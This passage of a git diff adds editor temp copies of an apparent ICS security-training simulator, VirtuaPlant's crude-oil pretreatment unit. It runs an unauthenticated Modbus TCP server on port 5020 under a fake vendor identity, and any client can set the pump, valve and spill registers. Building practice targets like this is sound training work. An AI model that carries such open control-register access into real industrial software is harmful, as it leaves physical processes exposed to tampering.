+FPS=50.0
+
+# Port the world will listen on
+MODBUS_SERVER_PORT=5020
+
+# Amount of oil spilled/processed
+oil_spilled_amount = 0
+oil_processed_amount = 0
+
+# PLC Register values for various control functions
+PLC_FEED_PUMP = 0x01
+PLC_TANK_LEVEL = 0x02
+PLC_OUTLET_VALVE = 0x03
+PLC_SEP_VESSEL = 0x04
+PLC_SEP_FEED = 0x05
+PLC_OIL_SPILL = 0x06
+PLC_OIL_PROCESSED = 0x07
+
+# Collision types
+tank_level_collision = 0x4
+ball_collision = 0x5
+outlet_valve_collision = 0x6
+sep_vessel_collision = 0x7
+separator_collision = 0x8
+oil_spill_collision = 0x9
+
+
+def to_pygame(p):
+ """Small hack to convert pymunk to pygame coordinates"""
+ return int(p.x), int(-p.y+600)
+
+# Add "oil" to the world space
+def add_ball(space):
+ mass = 0.01
+ radius = 3
+ inertia = pymunk.moment_for_circle(mass, 0, radius, (0,0))
+ body = pymunk.Body(mass, inertia)
+ body._bodycontents.v_limit = 120
+ body._bodycontents.h_limit = 1
+ x = random.randint(69, 70)
+ body.position = x, 565
+ shape = pymunk.Circle(body, radius, (0,0))
+ shape.collision_type = ball_collision #liquid
+ space.add(body, shape)
+ return shape
+
+# Add a ball to the space
+def draw_ball(screen, ball, color=THECOLORS['brown']):
+ p = int(ball.body.position.x), 600-int(ball.body.position.y)
+ pygame.draw.circle(screen, color, p, int(ball.radius), 2)
+
+# Add the separator vessel feed
+def separator_vessel_feed(space):
+ body = pymunk.Body()
+ body.position = (420, 257)
+ radius = 4
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = separator_collision # Collision value for separator
+ space.add(shape)
+ return shape
+
+# Add the separator vessel release
+def separator_vessel_release(space):
+ body = pymunk.Body()
+ body.position = (387, 225)
+ radius = 4
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = sep_vessel_collision
+ space.add(shape)
+ return shape
+
+# Add the tank level sensor
+def tank_level_sensor(space):
+ body = pymunk.Body()
+ body.position = (115, 535)
+ radius = 3
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = tank_level_collision # tank_level
+ space.add(shape)
+ return shape
+
+def outlet_valve_sensor(space):
+ body = pymunk.Body()
+ body.position = (70, 410)
+ # Check these coords and adjust
+ a = (-20, 10)
+ b = (20, 10)
+ radius = 4
+ shape = pymunk.Segment(body, a, b, radius)
+ shape.collision_type = outlet_valve_collision
+ space.add(shape)
+ return shape
+ a = (-10, -10)
+def oil_spill_sensor(space):
+ body = pymunk.Body()
+ body.position = (0, 0)
+ radius = 7
+ a = (0, 75)
+ b = (SCREEN_WIDTH, 75)
+ shape = pymunk.Segment(body, a, b, radius)
+ shape.collision_type = oil_spill_collision # oil spill sensor
+ space.add(shape)
+ return shape
+
+# Add the feed pump to the space
+def add_pump(space):
+ body = pymunk.Body()
+ body.position = (70, 585)
+ shape = pymunk.Poly.create_box(body, (15, 20), (0, 0), 0)
+ space.add(shape)
+ return shape
+
+# Draw the various "pipes" that the oil flows through
+# TODO: Get rid of magic numbers and add constants + offsets
+def add_oil_unit(space):
+ body = pymunk.Body()
+ body.position = (300,300)
+
+ #oil storage unit
+ l1 = pymunk.Segment(body, (-278, 270), (-278, 145), 5) #left side line
+ l2 = pymunk.Segment(body, (-278, 145), (-246, 107), 5)
+ l3 = pymunk.Segment(body, (-180, 270), (-180, 145), 5) #right side line
+ l4 = pymunk.Segment(body, (-180, 145), (-215, 107), 5)
+
+ #pipe to separator vessel
+ l5 = pymunk.Segment(body, (-246, 107), (-246, 53), 5) #left side vertical line
+ l6 = pymunk.Segment(body, (-246, 53), (-19, 53), 5) #bottom horizontal line
+ l7 = pymunk.Segment(body, (-19, 53), (-19, 33), 5)
+ l8 = pymunk.Segment(body, (-215, 107), (-215, 80), 5) #right side vertical line
+ l9 = pymunk.Segment(body, (-215, 80), (7, 80), 5) #top horizontal line
+ l10 = pymunk.Segment(body, (7, 80), (7, 33), 5)
+
+ #separator vessel
+ l11 = pymunk.Segment(body, (-19, 31), (-95, 31), 5) #top left horizontal line
+ l12 = pymunk.Segment(body, (-95, 31), (-95, -23), 5) #left side vertical line
+ l13 = pymunk.Segment(body, (-95, -23), (-83, -23), 5)
+ l14 = pymunk.Segment(body, (-83, -23), (-80, -80), 5) #left waste exit line
+ l15 = pymunk.Segment(body, (-68, -80), (-65, -23), 5) #right waste exit line
+ l16 = pymunk.Segment(body, (-65, -23), (-45, -23), 5)
+ l17 = pymunk.Segment(body, (-45, -23), (-45, -67), 5) #elevation vertical line
+ l18 = pymunk.Segment(body, (-45, -67), (13, -67), 5) #left bottom line
+ l19 = pymunk.Segment(body, (13, -67), (13, -82), 5) #left side separator exit line
+ l20 = pymunk.Segment(body, (43, -82), (43, -67), 5) #right side separator exit line
+ l21 = pymunk.Segment(body, (43, -67), (65, -62), 5) #rigt side diagonal line
+ l22 = pymunk.Segment(body, (65, -62), (77, 31), 5) #right vertical line
+ l23 = pymunk.Segment(body, (77, 31), (7, 31), 5) #top right horizontal line
+ l24 = pymunk.Segment(body, (-3, -67), (-3, 10), 5) #center separator line
+
+ #separator exit pipe
+ l25 = pymunk.Segment(body, (43, -85), (43, -113), 5) #right side vertical line
+ l26 = pymunk.Segment(body, (43, -113), (580, -113), 5) #top horizontal line
+ l27 = pymunk.Segment(body, (13, -85), (13, -140), 5) #left vertical line
+ l28 = pymunk.Segment(body, (13, -140), (580, -140), 5) #bottom horizontal line
+
+ #waste water pipe
+ l29 = pymunk.Segment(body, (-87, -85), (-87, -112), 5) #left side waste line
+ l30 = pymunk.Segment(body, (-60, -85), (-60, -140), 5) #right side waste line
+ l31 = pymunk.Segment(body, (-87, -112), (-163, -112), 5) #top horizontal line
+ l32 = pymunk.Segment(body, (-60, -140), (-134, -140), 5) #bottom horizontal line
+ l33 = pymunk.Segment(body, (-163, -112), (-163, -185), 5) #left side vertical line
+ l34 = pymunk.Segment(body, (-134, -140), (-134, -185), 5) #right side vertical line
+
+ space.add(l1, l2, l3, l4, l5, l6, l7, l8, l9, l10, l11, l12, l13, l14, l15,
+ l16, l17, l18, l19, l20, l21, l22, l23, l24, l25,
+ l26, l27, l28, l29, l30, l31, l32, l33, l34) # 3
+
+ return (l1,l2,l3,l4,l5,l6,l7,l8,l9,l10,l11,l12,l13,l14,l15,l16,
+ l17,l18,l19,l20,l21,l22,l23,l24,l25,l26,l27,l28,l29,l30,
+ l31,l32,l33,l34)
+
+def draw_polygon(bg, shape):
+ points = shape.get_vertices()
+ fpoints = []
+ for p in points:
+ fpoints.append(to_pygame(p))
+ pygame.draw.polygon(bg, THECOLORS['black'], fpoints)
+
+# Draw a single line to the screen
+def draw_line(screen, line, color = None):
+ body = line.body
+ pv1 = body.position + line.a.rotated(body.angle) # 1
+ pv2 = body.position + line.b.rotated(body.angle)
+ p1 = to_pygame(pv1) # 2
+ p2 = to_pygame(pv2)
+ if color is None:
+ pygame.draw.lines(screen, THECOLORS["black"], False, [p1,p2])
+ else:
+ pygame.draw.lines(screen, color, False, [p1,p2])
+
+# Draw lines from an iterable list
+def draw_lines(screen, lines):
+ for line in lines:
+ body = line.body
+ pv1 = body.position + line.a.rotated(body.angle) # 1
+ pv2 = body.position + line.b.rotated(body.angle)
+ p1 = to_pygame(pv1) # 2
+ p2 = to_pygame(pv2)
+ pygame.draw.lines(screen, THECOLORS["gray"], False, [p1,p2])
+
+# Default collision function for objects
+# Returning true makes the two objects collide normally just like "walls/pipes"
+def no_collision(space, arbiter, *args, **kwargs):
+ return True
+
+# Called when level sensor in tank is hit
+def level_reached(space, arbiter, *args, **kwargs):
+ log.debug("Level reached")
+ PLCSetTag(PLC_TANK_LEVEL, 1) # Level Sensor Hit, Tank full
+ PLCSetTag(PLC_FEED_PUMP, 0) # Turn off the pump
+# PLCSetTag(PLC_OUTLET_VALVE, 1) # Set the outlet valve to 1
+ return False
+
+def oil_spilled(space, arbiter, *args, **kwargs):
+ global oil_spilled_amount
+ global oil_processed_amount
+ log.debug("Oil Spilled")
+ oil_spilled_amount = oil_spilled_amount + 1
+ PLCSetTag(PLC_OIL_SPILL, oil_spilled_amount) # We lost a unit of oil
+ PLCSetTag(PLC_FEED_PUMP, 0) # Attempt to shut off the pump
+ return False
+
+# This fires when the separator level is hit
+def sep_on(space, arbiter, *args, **kwargs):
+ log.debug("Begin separation")
+ PLCSetTag(PLC_SEP_VESSEL, 1) # Sep vessel hit, begin processing
+ return False
+
+# This fires when the separator is not processing
+def sep_off(space, arbiter, *args, **kwargs):
+ log.debug("Begin separation")
+ PLCSetTag(PLC_SEP_VESSEL, 0) # Sep vessel hit, begin processing
+ return False
+
+def sep_feed_on(space, arbiter, *args, **kwargs):
+ log.debug("Outlet Feed")
+ PLCSetTag(PLC_SEP_FEED, 1)
+ return False
+
+def outlet_valve_open(space, arbiter, *args, **kwargs):
+ log.debug("Outlet valve open")
+ PLCSetTag(PLC_OUTLET_VALVE, 0)
+ return False
+
+def outlet_valve_closed(space, arbiter, *args, **kwargs):
+ log.debug("Outlet valve close")
+ PLCSetTag(PLC_OUTLET_VALVE, 1)
+ return False
+
+def run_world():
+ pygame.init()
+ screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))
+ pygame.display.set_caption("Crude Oil Pretreatment Unit")
+ clock = pygame.time.Clock()
+ running = True
+
+
+ # Create game space (world) and set gravity to normal
+ space = pymunk.Space() #2
+ space.gravity = (0.0, -900.0)
+
+ # When oil collides with tank_level, call level_reached
+ space.add_collision_handler(tank_level_collision, ball_collision, begin=level_reached)
+ space.add_collision_handler(oil_spill_collision, ball_collision, begin=oil_spilled)
+
+
+ pump = add_pump(space)
+ lines = add_oil_unit(space)
+ tank_level = tank_level_sensor(space)
+ separator_vessel = separator_vessel_release(space)
+ separator_feed = separator_vessel_feed(space)
+ separator_feed = separator_vessel_feed(space)
+ oil_spill = oil_spill_sensor(space)
+ outlet = outlet_valve_sensor(space)
+
+
+ balls = []
+
+ ticks_to_next_ball = 1
+
+ # Set font settings
+ fontBig = pygame.font.SysFont(None, 40)
+ fontMedium = pygame.font.SysFont(None, 26)
+ fontSmall = pygame.font.SysFont(None, 18)
+
+ while running:
+ # Advance the game clock
+ clock.tick(FPS)
+
+ for event in pygame.event.get():
+ if event.type == QUIT:
+ running = False
+ elif event.type == KEYDOWN and event.key == K_ESCAPE:
+ running = False
+
+ bg = pygame.image.load("oil_unit.png")
+
+ screen.fill(THECOLORS["grey"])
+
+ # If the feed pump is on
+ if PLCGetTag(PLC_FEED_PUMP) == 1:
+ # Draw the valve if the pump is on
+ # If the oil reaches the level sensor at the top of the tank
+ if (PLCGetTag(PLC_TANK_LEVEL) == 1):
+ PLCSetTag(PLC_FEED_PUMP, 0)
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on)
+ space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on)
+
+ else:
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision)
+
+ if PLCGetTag(PLC_OUTLET_VALVE) == 1: # Valve is closed
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=outlet_valve_closed)
+ elif PLCGetTag(PLC_OUTLET_VALVE) == 0: # Valve is open
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision)
+
+ # If the separator process is turned on
+ if PLCGetTag(PLC_SEP_VESSEL) == 1:
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on)
+ space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on)
+ else:
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=no_collision)
+ space.add_collision_handler(separator_collision, ball_collision, begin=no_collision)
+
+
+ ticks_to_next_ball -= 1
+
+ if ticks_to_next_ball <= 0 and PLCGetTag(PLC_FEED_PUMP) == 1:
+ ticks_to_next_ball = 1
+ ball_shape = add_ball(space)
+ balls.append(ball_shape)
+
+ balls_to_remove = []
+ for ball in balls:
+ if ball.body.position.y < 0 or ball.body.position.x > SCREEN_WIDTH+150:
+ balls_to_remove.append(ball)
+
+ draw_ball(bg, ball)
+
+ for ball in balls_to_remove:
+ space.remove(ball, ball.body)
+ balls.remove(ball)
+
+ draw_polygon(bg, pump)
+ draw_lines(bg, lines)
+ draw_ball(bg, tank_level, THECOLORS['black'])
+ draw_ball(bg, separator_vessel, THECOLORS['black'])
+ draw_ball(bg, separator_feed, THECOLORS['black'])
+ draw_line(bg, outlet)
+
+ #draw_ball(screen, separator_feed, THECOLORS['red'])
+ title = fontMedium.render(str("Crude Oil Pretreatment Unit"), 1, THECOLORS['blue'])
+ name = fontBig.render(str("VirtuaPlant"), 1, THECOLORS['gray20'])
+ instructions = fontSmall.render(str("(press ESC to quit)"), 1, THECOLORS['gray'])
+ feed_pump_label = fontMedium.render(str("Feed Pump"), 1, THECOLORS['blue'])
+ oil_storage_label = fontMedium.render(str("Oil Storage Unit"), 1, THECOLORS['blue'])
+ separator_label = fontMedium.render(str("Separator Vessel"), 1, THECOLORS['blue'])
+ waste_water_label = fontMedium.render(str("Waste Water Treatment Unit"), 1, THECOLORS['blue'])
+ tank_sensor = fontSmall.render(str("Tank Level Sensor"), 1, THECOLORS['blue'])
+ separator_release = fontSmall.render(str("Separator Vessel Release Sensor"), 1, THECOLORS['blue'])
+ waste_sensor = fontSmall.render(str("Waste Water Sensor"), 1, THECOLORS['blue'])
+ outlet_sensor = fontSmall.render(str("Outlet Valve Sensor"), 1, THECOLORS['blue'])
+
+ bg.blit(title, (300, 40))
+ bg.blit(name, (347, 10))
+ bg.blit(instructions, (SCREEN_WIDTH-115, 0))
+ bg.blit(feed_pump_label, (80, 0))
+ bg.blit(oil_storage_label, (125, 100))
+ bg.blit(separator_label, (385,275))
+ screen.blit(waste_water_label, (265, 490))
+ bg.blit(tank_sensor, (125, 50))
+ bg.blit(outlet_sensor, (90, 195))
+ bg.blit(separator_release, (350, 375))
+ bg.blit(waste_sensor, (90, 375))
+ screen.blit(bg, (0, 0))
+
+ space.step(1/FPS)
+ pygame.display.flip()
+
+ if reactor.running:
+ reactor.callFromThread(reactor.stop)
+
+store = ModbusSlaveContext(
+ di = ModbusSequentialDataBlock(0, [0]*100),
+ co = ModbusSequentialDataBlock(0, [0]*100),
+ hr = ModbusSequentialDataBlock(0, [0]*100),
+ ir = ModbusSequentialDataBlock(0, [0]*100))
+
+context = ModbusServerContext(slaves=store, single=True)
+
+# Modbus PLC server information
+identity = ModbusDeviceIdentification()
+identity.VendorName = 'Simmons Oil Refining Platform'
+identity.ProductCode = 'SORP'
+identity.VendorUrl = 'http://simmons.com/markets/oil-gas/pages/refining-industry.html'
+identity.ProductName = 'SORP 3850'
+identity.ModelName = 'Simmons ORP 3850'
+identity.MajorMinorRevision = '2.09.01'
+
+def startModbusServer():
+ # Run a modbus server on specified address and modbus port (5020)
+ StartTcpServer(context, identity=identity, address=(args.server_addr, MODBUS_SERVER_PORT))
+
+def main():
+ reactor.callInThread(run_world)
+ startModbusServer()
+
+if __name__ == '__main__':
+ sys.exit(main())
diff --git a/plants/oil-refinery/.~c9_invoke_m7IhEZ.py b/plants/oil-refinery/.~c9_invoke_m7IhEZ.py
new file mode 100644
index 0000000..5cdcb07
--- /dev/null
+++ b/plants/oil-refinery/.~c9_invoke_m7IhEZ.py
@@ -0,0 +1,468 @@
+#!/usr/bin/env python
+import logging
+
+# - Multithreading
+from twisted.internet import reactor
+
+# - Modbus
+from pymodbus.server.async import StartTcpServer
+from pymodbus.device import ModbusDeviceIdentification
+from pymodbus.datastore import ModbusSequentialDataBlock
+from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext
+from pymodbus.transaction import ModbusRtuFramer, ModbusAsciiFramer
+
+# - World Simulator
+import sys, random
+import pygame
+from pygame.locals import *
+from pygame.color import *
+import pymunk
+
+import socket
+
+import argparse
+import os
+import sys
+import time
+
+# Override Argument parser to throw error and generate help message
+# if undefined args are passed
+class MyParser(argparse.ArgumentParser):
+ def error(self, message):
+ sys.stderr.write('error: %s\n' % message)
+ self.print_help()
+ sys.exit(2)
+
+# Create argparser object to add command line args and help option
+parser = MyParser(
+ description = 'This Python script starts the SCADA/ICS World Server',
+ epilog = '',
+ add_help = True)
+
+# Add a "-i" argument to receive a filename
+parser.add_argument("-t", action = "store", dest="server_addr",
+ help = "Modbus server IP address to listen on")
+
+# Print help if no args are supplied
+if len(sys.argv)==1:
+ parser.print_help()
+ sys.exit(1)
+
+# Split and process arguments into "args"
+args = parser.parse_args()
+
+logging.basicConfig()
+log = logging.getLogger()
+log.setLevel(logging.INFO)
+
+# Display settings
+SCREEN_WIDTH = 580
+SCREEN_HEIGHT = 460
+FPS=50.0
+
+# Port the world will listen on
+MODBUS_SERVER_PORT=5020
+
+# Amount of oil spilled/processed
+oil_spilled_amount = 0
+oil_processed_amount = 0
+
+# PLC Register values for various control functions
+PLC_FEED_PUMP = 0x01
+PLC_TANK_LEVEL = 0x02
+PLC_OUTLET_VALVE = 0x03
+PLC_SEP_VESSEL = 0x04
+PLC_SEP_FEED = 0x05
+PLC_OIL_SPILL = 0x06
+PLC_OIL_PROCESSED = 0x07
+
+# Collision types
+tank_level_collision = 0x4
+ball_collision = 0x5
+outlet_valve_collision = 0x6
+sep_vessel_collision = 0x7
+separator_collision = 0x8
+oil_spill_collision = 0x9
+
+
+def to_pygame(p):
+ """Small hack to convert pymunk to pygame coordinates"""
+ return int(p.x), int(-p.y+600)
+
+# Add "oil" to the world space
+def add_ball(space):
+ mass = 0.01
+ radius = 3
+ inertia = pymunk.moment_for_circle(mass, 0, radius, (0,0))
+ body = pymunk.Body(mass, inertia)
+ body._bodycontents.v_limit = 120
+ body._bodycontents.h_limit = 1
+ x = random.randint(69, 70)
+ body.position = x, 565
+ shape = pymunk.Circle(body, radius, (0,0))
+ shape.collision_type = ball_collision #liquid
+ space.add(body, shape)
+ return shape
+
+# Add a ball to the space
+def draw_ball(screen, ball, color=THECOLORS['brown']):
+ p = int(ball.body.position.x), 600-int(ball.body.position.y)
+ pygame.draw.circle(screen, color, p, int(ball.radius), 2)
+
+# Add the separator vessel feed
+def separator_vessel_feed(space):
+ body = pymunk.Body()
+ body.position = (420, 257)
+ radius = 4
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = separator_collision # Collision value for separator
+ space.add(shape)
+ return shape
+
+# Add the separator vessel release
+def separator_vessel_release(space):
+ body = pymunk.Body()
+ body.position = (387, 225)
+ radius = 4
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = sep_vessel_collision
+ space.add(shape)
+ return shape
+
+# Add the tank level sensor
+def tank_level_sensor(space):
+ body = pymunk.Body()
+ body.position = (115, 535)
+ radius = 3
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = tank_level_collision # tank_level
+ space.add(shape)
+ return shape
+
+def outlet_valve_sensor(space):
+ body = pymunk.Body()
+ body.position = (70, 410)
+ # Check these coords and adjust
+ a = (-20, 10)
+ b = (20, 10)
+ radius = 4
+ shape = pymunk.Segment(body, a, b, radius)
+ shape.collision_type = outlet_valve_collision
+ space.add(shape)
+ return shape
+ a = (-10, 0)
+def oil_spill_sensor(space):
+ body = pymunk.Body()
+ body.position = (0, 0)
+ radius = 7
+ a = (0, 75)
+ b = (SCREEN_WIDTH, 75)
+ shape = pymunk.Segment(body, a, b, radius)
+ shape.collision_type = oil_spill_collision # oil spill sensor
+ space.add(shape)
+ return shape
+
+# Add the feed pump to the space
+def add_pump(space):
+ body = pymunk.Body()
+ body.position = (70, 585)
+ shape = pymunk.Poly.create_box(body, (15, 20), (0, 0), 0)
+ space.add(shape)
+ return shape
+
+# Draw the various "pipes" that the oil flows through
+# TODO: Get rid of magic numbers and add constants + offsets
+def add_oil_unit(space):
+ body = pymunk.Body()
+ body.position = (300,300)
+
+ #oil storage unit
+ l1 = pymunk.Segment(body, (-278, 270), (-278, 145), 5) #left side line
+ l2 = pymunk.Segment(body, (-278, 145), (-246, 107), 5)
+ l3 = pymunk.Segment(body, (-180, 270), (-180, 145), 5) #right side line
+ l4 = pymunk.Segment(body, (-180, 145), (-215, 107), 5)
+
+ #pipe to separator vessel
+ l5 = pymunk.Segment(body, (-246, 107), (-246, 53), 5) #left side vertical line
+ l6 = pymunk.Segment(body, (-246, 53), (-19, 53), 5) #bottom horizontal line
+ l7 = pymunk.Segment(body, (-19, 53), (-19, 33), 5)
+ l8 = pymunk.Segment(body, (-215, 107), (-215, 80), 5) #right side vertical line
+ l9 = pymunk.Segment(body, (-215, 80), (7, 80), 5) #top horizontal line
+ l10 = pymunk.Segment(body, (7, 80), (7, 33), 5)
+
+ #separator vessel
+ l11 = pymunk.Segment(body, (-19, 31), (-95, 31), 5) #top left horizontal line
+ l12 = pymunk.Segment(body, (-95, 31), (-95, -23), 5) #left side vertical line
+ l13 = pymunk.Segment(body, (-95, -23), (-83, -23), 5)
+ l14 = pymunk.Segment(body, (-83, -23), (-80, -80), 5) #left waste exit line
+ l15 = pymunk.Segment(body, (-68, -80), (-65, -23), 5) #right waste exit line
+ l16 = pymunk.Segment(body, (-65, -23), (-45, -23), 5)
+ l17 = pymunk.Segment(body, (-45, -23), (-45, -67), 5) #elevation vertical line
+ l18 = pymunk.Segment(body, (-45, -67), (13, -67), 5) #left bottom line
+ l19 = pymunk.Segment(body, (13, -67), (13, -82), 5) #left side separator exit line
+ l20 = pymunk.Segment(body, (43, -82), (43, -67), 5) #right side separator exit line
+ l21 = pymunk.Segment(body, (43, -67), (65, -62), 5) #rigt side diagonal line
+ l22 = pymunk.Segment(body, (65, -62), (77, 31), 5) #right vertical line
+ l23 = pymunk.Segment(body, (77, 31), (7, 31), 5) #top right horizontal line
+ l24 = pymunk.Segment(body, (-3, -67), (-3, 10), 5) #center separator line
+
+ #separator exit pipe
+ l25 = pymunk.Segment(body, (43, -85), (43, -113), 5) #right side vertical line
+ l26 = pymunk.Segment(body, (43, -113), (580, -113), 5) #top horizontal line
+ l27 = pymunk.Segment(body, (13, -85), (13, -140), 5) #left vertical line
+ l28 = pymunk.Segment(body, (13, -140), (580, -140), 5) #bottom horizontal line
+
+ #waste water pipe
+ l29 = pymunk.Segment(body, (-87, -85), (-87, -112), 5) #left side waste line
+ l30 = pymunk.Segment(body, (-60, -85), (-60, -140), 5) #right side waste line
+ l31 = pymunk.Segment(body, (-87, -112), (-163, -112), 5) #top horizontal line
+ l32 = pymunk.Segment(body, (-60, -140), (-134, -140), 5) #bottom horizontal line
+ l33 = pymunk.Segment(body, (-163, -112), (-163, -185), 5) #left side vertical line
+ l34 = pymunk.Segment(body, (-134, -140), (-134, -185), 5) #right side vertical line
+
+ space.add(l1, l2, l3, l4, l5, l6, l7, l8, l9, l10, l11, l12, l13, l14, l15,
+ l16, l17, l18, l19, l20, l21, l22, l23, l24, l25,
+ l26, l27, l28, l29, l30, l31, l32, l33, l34) # 3
+
+ return (l1,l2,l3,l4,l5,l6,l7,l8,l9,l10,l11,l12,l13,l14,l15,l16,
+ l17,l18,l19,l20,l21,l22,l23,l24,l25,l26,l27,l28,l29,l30,
+ l31,l32,l33,l34)
+
+def draw_polygon(bg, shape):
+ points = shape.get_vertices()
+ fpoints = []
+ for p in points:
+ fpoints.append(to_pygame(p))
+ pygame.draw.polygon(bg, THECOLORS['black'], fpoints)
+
+# Draw a single line to the screen
+def draw_line(screen, line, color = None):
+ body = line.body
+ pv1 = body.position + line.a.rotated(body.angle) # 1
+ pv2 = body.position + line.b.rotated(body.angle)
+ p1 = to_pygame(pv1) # 2
+ p2 = to_pygame(pv2)
+ if color is None:
+ pygame.draw.lines(screen, THECOLORS["black"], False, [p1,p2])
+ else:
+ pygame.draw.lines(screen, color, False, [p1,p2])
+
+# Draw lines from an iterable list
+def draw_lines(screen, lines):
+ for line in lines:
+ body = line.body
+ pv1 = body.position + line.a.rotated(body.angle) # 1
+ pv2 = body.position + line.b.rotated(body.angle)
+ p1 = to_pygame(pv1) # 2
+ p2 = to_pygame(pv2)
+ pygame.draw.lines(screen, THECOLORS["gray"], False, [p1,p2])
+
+# Default collision function for objects
+# Returning true makes the two objects collide normally just like "walls/pipes"
+def no_collision(space, arbiter, *args, **kwargs):
+ return True
+
+# Called when level sensor in tank is hit
+def level_reached(space, arbiter, *args, **kwargs):
+ log.debug("Level reached")
+ PLCSetTag(PLC_TANK_LEVEL, 1) # Level Sensor Hit, Tank full
+ PLCSetTag(PLC_FEED_PUMP, 0) # Turn off the pump
+# PLCSetTag(PLC_OUTLET_VALVE, 1) # Set the outlet valve to 1
+ return False
+
+def oil_spilled(space, arbiter, *args, **kwargs):
+ global oil_spilled_amount
+ global oil_processed_amount
+ log.debug("Oil Spilled")
+ oil_spilled_amount = oil_spilled_amount + 1
+ PLCSetTag(PLC_OIL_SPILL, oil_spilled_amount) # We lost a unit of oil
+ PLCSetTag(PLC_FEED_PUMP, 0) # Attempt to shut off the pump
+ return False
+
+# This fires when the separator level is hit
+def sep_on(space, arbiter, *args, **kwargs):
+ log.debug("Begin separation")
+ PLCSetTag(PLC_SEP_VESSEL, 1) # Sep vessel hit, begin processing
+ return False
+
+# This fires when the separator is not processing
+def sep_off(space, arbiter, *args, **kwargs):
+ log.debug("Begin separation")
+ PLCSetTag(PLC_SEP_VESSEL, 0) # Sep vessel hit, begin processing
+ return False
+
+def sep_feed_on(space, arbiter, *args, **kwargs):
+ log.debug("Outlet Feed")
+ PLCSetTag(PLC_SEP_FEED, 1)
+ return False
+
+def outlet_valve_open(space, arbiter, *args, **kwargs):
+ log.debug("Outlet valve open")
+ PLCSetTag(PLC_OUTLET_VALVE, 0)
+ return False
+
+def outlet_valve_closed(space, arbiter, *args, **kwargs):
+ log.debug("Outlet valve close")
+ PLCSetTag(PLC_OUTLET_VALVE, 1)
+ return False
+
+def run_world():
+ pygame.init()
+ screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))
+ pygame.display.set_caption("Crude Oil Pretreatment Unit")
+ clock = pygame.time.Clock()
+ running = True
+
+
+ # Create game space (world) and set gravity to normal
+ space = pymunk.Space() #2
+ space.gravity = (0.0, -900.0)
+
+ # When oil collides with tank_level, call level_reached
+ space.add_collision_handler(tank_level_collision, ball_collision, begin=level_reached)
+ space.add_collision_handler(oil_spill_collision, ball_collision, begin=oil_spilled)
+
+
+ pump = add_pump(space)
+ lines = add_oil_unit(space)
+ tank_level = tank_level_sensor(space)
+ separator_vessel = separator_vessel_release(space)
+ separator_feed = separator_vessel_feed(space)
+ separator_feed = separator_vessel_feed(space)
+ oil_spill = oil_spill_sensor(space)
+ outlet = outlet_valve_sensor(space)
+
+
+ balls = []
+
+ ticks_to_next_ball = 1
+
+ # Set font settings
+ fontBig = pygame.font.SysFont(None, 40)
+ fontMedium = pygame.font.SysFont(None, 26)
+ fontSmall = pygame.font.SysFont(None, 18)
+
+ while running:
+ # Advance the game clock
+ clock.tick(FPS)
+
+ for event in pygame.event.get():
+ if event.type == QUIT:
+ running = False
+ elif event.type == KEYDOWN and event.key == K_ESCAPE:
+ running = False
+
+ bg = pygame.image.load("oil_unit.png")
+
+ screen.fill(THECOLORS["grey"])
+
+ # If the feed pump is on
+ if PLCGetTag(PLC_FEED_PUMP) == 1:
+ # Draw the valve if the pump is on
+ # If the oil reaches the level sensor at the top of the tank
+ if (PLCGetTag(PLC_TANK_LEVEL) == 1):
+ PLCSetTag(PLC_FEED_PUMP, 0)
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on)
+ space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on)
+
+ else:
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision)
+
+ if PLCGetTag(PLC_OUTLET_VALVE) == 1: # Valve is closed
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=outlet_valve_closed)
+ elif PLCGetTag(PLC_OUTLET_VALVE) == 0: # Valve is open
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision)
+
+ # If the separator process is turned on
+ if PLCGetTag(PLC_SEP_VESSEL) == 1:
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on)
+ space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on)
+ else:
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=no_collision)
+ space.add_collision_handler(separator_collision, ball_collision, begin=no_collision)
+
+
+ ticks_to_next_ball -= 1
+
+ if ticks_to_next_ball <= 0 and PLCGetTag(PLC_FEED_PUMP) == 1:
+ ticks_to_next_ball = 1
+ ball_shape = add_ball(space)
+ balls.append(ball_shape)
+
+ balls_to_remove = []
+ for ball in balls:
+ if ball.body.position.y < 0 or ball.body.position.x > SCREEN_WIDTH+150:
+ balls_to_remove.append(ball)
+
+ draw_ball(bg, ball)
+
+ for ball in balls_to_remove:
+ space.remove(ball, ball.body)
+ balls.remove(ball)
+
+ draw_polygon(bg, pump)
+ draw_lines(bg, lines)
+ draw_ball(bg, tank_level, THECOLORS['black'])
+ draw_ball(bg, separator_vessel, THECOLORS['black'])
+ draw_ball(bg, separator_feed, THECOLORS['black'])
+ draw_line(bg, outlet)
+
+ #draw_ball(screen, separator_feed, THECOLORS['red'])
+ title = fontMedium.render(str("Crude Oil Pretreatment Unit"), 1, THECOLORS['blue'])
+ name = fontBig.render(str("VirtuaPlant"), 1, THECOLORS['gray20'])
+ instructions = fontSmall.render(str("(press ESC to quit)"), 1, THECOLORS['gray'])
+ feed_pump_label = fontMedium.render(str("Feed Pump"), 1, THECOLORS['blue'])
+ oil_storage_label = fontMedium.render(str("Oil Storage Unit"), 1, THECOLORS['blue'])
+ separator_label = fontMedium.render(str("Separator Vessel"), 1, THECOLORS['blue'])
